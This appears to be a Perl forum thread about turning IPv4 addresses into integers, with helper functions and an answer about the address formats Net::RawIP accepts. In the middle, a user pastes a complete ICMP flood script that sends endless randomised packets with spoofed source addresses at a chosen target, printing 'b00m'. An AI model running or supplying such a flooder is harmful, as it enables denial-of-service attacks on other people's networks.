sub parse_ipv4 {
   local *_ = \(@_ ? $_[0] : $_);
   return unpack('N', pack('C4', split(/\./)));
}
[download]

Update: What follows is an alternative implementation that accepts domain names ("www.perlmonks.org") as well as IP addresses:

use Socket ();

sub parse_ipv4 {
   local *_ = \(@_ ? $_[0] : $_);
   my $packed = Socket::inet_aton($_);
   return unless defined $packed;
   return unpack('N', $packed);
}
[download]

print(parse_ipv4('202.227.44.16'), "\n");
# 3403885584
[download]

Thanks for the quickest reply

Yes it's work, but please look at this code (i got this code from Net::Raw Example)

$| = 1;
require 'getopts.pl';
use Net::RawIP;
Getopts('t:');
die "Usage $0 -t <target>" unless $opt_t;
srand(time);
$i = 996;
$data .= chr(int rand(255)),$i-- while($i); 

$icmp = new Net::RawIP({
                        ip => {
                                 ihl => 6,
                     tot_len => 1024,
                     id => 1,
                     ttl => 255,
                     frag_off => 0,
                     daddr => $opt_t
                               },
            icmp => { 
                     id => 2650, 
                 data => $data 
                }
               });
               
for(;;){
 $j++;
 $icmp->set({
            ip => { saddr => 17000000 + int rand 4261000000 },
            icmp => { 
                 type => int rand(14),
                 code => int rand(10),
             sequence => int rand(255)
                }                                           
          });
 $icmp->send;
 print "b00m " unless $j%1000;      
}
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Have a look in looping area, we got :
ip => { saddr => 17000000 + int rand 4261000000 }

The author give $addr with random int number without doing packing or unpack, so i make my own conclusion that we can give $addr with int number (like code above) as long as it's valid ip addy, is it true?

i m trying hard to explain my problem in proper english i hope you can understand

thanks, zak

An IP (v4) address is any number between 0 and 4294967295 inclusively. Different interfaces expect the address to be in different formats (reprentations). "aaa.bbb.ccc.ddd" is just one format. Net::RawIP works with a number of formats, including numerical (0 to 4294967295) and dotted ('aaa.bbb.ccc.ddd').

For example, two following two lines are identical:

ip => { saddr => '202.227.44.16' }
ip => { saddr => 3403885584 }
[download]

I hope that answers your question; I don't quite understand it.